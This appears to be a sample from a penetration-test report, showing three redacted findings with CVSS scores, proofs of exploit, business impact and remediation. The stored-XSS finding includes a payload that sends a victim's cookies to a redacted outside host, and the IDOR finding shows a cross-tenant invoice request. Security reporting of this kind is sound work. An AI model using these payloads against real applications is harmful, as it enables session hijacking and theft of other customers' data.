Three representative findings, redacted. Every real report details each issue to this depth.
Critical CVSS 9.1 TS-2481 Verified fixed on retest
Broken object-level authorization on invoice export
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
An authenticated user in Tenant A could retrieve invoices belonging to Tenant B by incrementing a sequential identifier on the bulk-export endpoint, which omitted the tenant filter enforced elsewhere.
Proof of exploit
GET /api/v2/exports/invoices/10433 HTTP/1.1
Host: app.REDACTED.com
Authorization: Bearer <valid session, Tenant A>
HTTP/1.1 200 OK
Content-Type: application/json
{ "tenant_id": "B-4471", "customer": "REDACTED", "total": 48200, ... }
Business impact
Cross-tenant data exposure of financial records. Sequential IDs made the entire invoice corpus enumerable — a full confidentiality breach across all tenants.
Remediation
Derive tenant scope from the authenticated session and enforce ownership at the data-access layer for every object lookup, including export and reporting paths.
High CVSS 8.2 TS-2483 Verified fixed on retest
Stored XSS in support-ticket subject
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N
The support-ticket subject field was rendered without output encoding in the agent console, allowing a low-privileged customer to execute script in a support agent’s authenticated session.
Proof of exploit
POST /api/v2/tickets HTTP/1.1
{ "subject": "<img src=x onerror=fetch('//REDACTED/'+document.cookie)>" }
Business impact
Privilege escalation from customer to internal agent. A crafted ticket runs in the agent context, enabling session theft and actions on behalf of staff.
Remediation
Context-aware output encoding on render; apply a strict Content-Security-Policy as defense in depth.
Medium CVSS 5.9 TS-2490 Open — remediation in progress
Weak password reset token entropy
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Password-reset tokens were derived from a timestamp with limited randomness, reducing the effective keyspace enough to make targeted guessing feasible within the token validity window.
Proof of exploit
Redacted — token-generation analysis and timing methodology available in the full report.
Business impact
Account takeover of a targeted user under realistic conditions, without any interaction from the victim.
Remediation
Generate tokens from a CSPRNG with ≥128 bits of entropy; shorten validity and invalidate on use.